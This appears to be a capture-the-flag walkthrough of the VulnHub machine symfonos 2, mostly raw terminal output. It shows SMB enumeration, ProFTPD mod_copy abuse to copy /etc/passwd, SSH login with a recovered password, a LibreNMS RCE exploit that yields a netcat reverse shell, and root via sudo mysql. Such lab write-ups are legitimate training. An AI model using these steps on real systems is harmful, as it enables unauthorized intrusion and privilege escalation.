The SMB server contains a file called "log.txt". This log file contains SMB share configuration settings and reveals the username aeolus. We bruteforce the password for aeolus using ftp and login through SSH using those same credentials. Once on the box we find a web server hosting LibreNMS listening internally on port 8080. We forward this to our box and are able to login to LibreNMS using the credentaisl for aeolus. There is an authenticated RCE expoit on searchsploit that works. We need to intercept server responses to to troubleshoot the exploit to get it to work. We gain shell access for the user cronos. Cronos has sudo right to the command "mysql". GTFObins contains a privesc command thats gives us a root shell.
# Nmap 7.91 scan initiated Mon Sep 20 16:38:23 2021 as: nmap -p- -oN ping_tcp 10.0.0.14 Nmap scan report for 10.0.0.14 Host is up (0.000064s latency). Not shown: 65530 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:3F:52:32 (VMware) # Nmap done at Mon Sep 20 16:38:31 2021 -- 1 IP address (1 host up) scanned in 7.96 seconds
# Nmap 7.91 scan initiated Mon Sep 20 16:46:38 2021 as: nmap -p21,22,80,139,445 -sV -sC -oN script_tcp 10.0.0.14 Nmap scan report for 10.0.0.14 Host is up (0.00020s latency). PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA) | 256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA) |_ 256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519) 80/tcp open http WebFS httpd 1.21 |_http-server-header: webfs/1.21 |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) MAC Address: 00:0C:29:3F:52:32 (VMware) Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s |_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.5.16-Debian) | Computer name: symfonos2 | NetBIOS computer name: SYMFONOS2\x00 | Domain name: \x00 | FQDN: symfonos2 |_ System time: 2021-09-20T15:46:56-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-09-20T20:46:56 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Sep 20 16:47:11 2021 -- 1 IP address (1 host up) scanned in 33.47 seconds
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ smbmap -H 10.0.0.14 [+] Guest session IP: 10.0.0.14:445 Name: 10.0.0.14 Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers anonymous READ ONLY IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ smbclient //10.0.0.14/anonymous Enter WORKGROUP\kali's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Sep 21 16:03:54 2021 .. D 0 Tue Sep 21 11:19:42 2021 backups D 0 Thu Jul 18 10:25:17 2019 19728000 blocks of size 1024. 16301072 blocks available smb: \> cd backups smb: \backups\> ls . D 0 Thu Jul 18 10:25:17 2019 .. D 0 Tue Sep 21 16:03:54 2021 log.txt N 11394 Thu Jul 18 10:25:16 2019 19728000 blocks of size 1024. 16301072 blocks available smb: \backups\> get log.txt getting file \backups\log.txt of size 11394 as log.txt (5563.2 KiloBytes/sec) (average 5563.5 KiloBytes/sec) smb: \backups\>
[anonymous] path = /home/aeolus/share browseable = yes read only = yes guest ok = yes
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ ftp 10.0.0.14 Connected to 10.0.0.14. 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.0.0.14] Name (10.0.0.14:kali): anonymous 500 AUTH not understood 500 AUTH not understood SSL not available 331 Anonymous login ok, send your complete email address as your password Password: 530 Login incorrect. Login failed. Remote system type is UNIX. Using binary mode to transfer files. ftp> site cpfr /etc/passwd 350 File or directory exists, ready for destination name ftp> site cpto /home/aeolus/share/passwd 250 Copy successful ftp> exit 221 Goodbye. ┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ smbclient //10.0.0.14/anonymous Enter WORKGROUP\kali's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Sep 21 16:17:10 2021 .. D 0 Tue Sep 21 11:19:42 2021 passwd N 1614 Tue Sep 21 16:17:10 2021 backups D 0 Thu Jul 18 10:25:17 2019 19728000 blocks of size 1024. 16301060 blocks available smb: \>
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ sshpass -p sergioteamo ssh aeolus@10.0.0.14 127 ⨯ Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Tue Sep 21 13:23:15 2021 from 10.0.0.1 aeolus@symfonos2:~$
# Nmap 7.40 scan initiated Tue Sep 21 15:49:54 2021 as: nmap -p- -oN /tmp/ping_tcp 127.0.0.1 Nmap scan report for localhost (127.0.0.1) Host is up (0.000019s latency). Not shown: 65527 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 8080/tcp open http-proxy # Nmap done at Tue Sep 21 15:49:54 2021 -- 1 IP address (1 host up) scanned in 0.35 seconds
# Nmap 7.40 scan initiated Tue Sep 21 15:50:34 2021 as: nmap -p21,22,25,80,139,445,3306,8080 -sV -sC -oN script_tcp 127.0.0.1 Nmap scan report for localhost (127.0.0.1) Host is up (0.00033s latency). PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA) |_ 256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA) 25/tcp open smtp Exim smtpd 4.89 | smtp-commands: symfonos2 Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP, |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 80/tcp open http WebFS httpd 1.21 |_http-server-header: webfs/1.21 |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.5.5-10.1.38-MariaDB-0+deb9u1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.1.38-MariaDB-0+deb9u1 | Thread ID: 30 | Capabilities flags: 63487 | Some Capabilities: IgnoreSigpipes, LongColumnFlag, Support41Auth, SupportsLoadDataLocal, FoundRows, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, ODBCClient, DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsCompression, LongPassword, IgnoreSpaceBeforeParenthesis, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: *UMc*CSYE+Ilf;41:m7i |_ Auth Plugin Name: 103 8080/tcp open http Apache httpd 2.4.25 ((Debian)) | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Did not follow redirect to http://localhost/login Service Info: Host: symfonos2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.5.16-Debian) | Computer name: symfonos2 | NetBIOS computer name: SYMFONOS2\x00 | Domain name: \x00 | FQDN: symfonos2 |_ System time: 2021-09-21T15:50:46-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smbv2-enabled: Server supports SMBv2 protocol Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Sep 21 15:50:56 2021 -- 1 IP address (1 host up) scanned in 21.61 seconds
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ sshpass -p sergioteamo ssh aeolus@10.0.0.14 -f -N -L 800:localhost:8080
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ searchsploit librenms ----------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------- --------------------------------- LibreNMS - addhost Command Injection (Metasploit) | linux/remote/46970.rb LibreNMS - Collectd Command Injection (Metasploit) | linux/remote/47375.rb LibreNMS 1.46 - 'addhost' Remote Code Execution | php/webapps/47044.py LibreNMS 1.46 - 'search' SQL Injection | multiple/webapps/48453.txt LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple/webapps/49246.py ----------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ python ./LibreNMS-exploit.py http://127.0.0.1:800 librenms_session=eyJpdiI6IjErNEU2ZjVzaXlYQ29rWUFMck9mWmc9PSIsInZhbHVlIjoibmtzb1E2eGExeWZMSGhkSVR4T0s2VjdGOUFGUWpyWlUwcFoxT0ZvZHN5azg1WXhwT0JqNFhcLzk0RXN4cjFnQW9aTTFyWEErRlZDOEY5TUJDdXdsNW9nPT0iLCJtYWMiOiI1MWYxOGIwZDg5MmZiYThjY2Y5ZWZkYjc0ZjM1MzQ1ZjFjMjgwM2Y5OWQwNzkxOTE2ZGFmZDRiZWRmMzAyNGZhIn0%3D 10.0.0.1 80 [+] Device Created Sucssfully
┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ nc -lvnp 80 130 ⨯ Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 10.0.0.14. Ncat: Connection from 10.0.0.14:34152. /bin/sh: 0: can't access tty; job control turned off $ python3 -c "import pty;pty.spawn('/bin/bash');" cronus@symfonos2:/opt/librenms/html$ export TERM=xterm export TERM=xterm cronus@symfonos2:/opt/librenms/html$ ^Z zsh: suspended nc -lvnp 80 ┌──(kali㉿kali)-[~/Documents/VulnHub/symfonos_2] └─$ stty raw -echo;fg; 148 ⨯ 1 ⚙ [1] + continued nc -lvnp 80
cronus@symfonos2:/opt/librenms/html$ sudo -l Matching Defaults entries for cronus on symfonos2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cronus may run the following commands on symfonos2: (root) NOPASSWD: /usr/bin/mysql
cronus@symfonos2:/opt/librenms/html$ sudo mysql -e '\! /bin/sh' # id uid=0(root) gid=0(root) groups=0(root)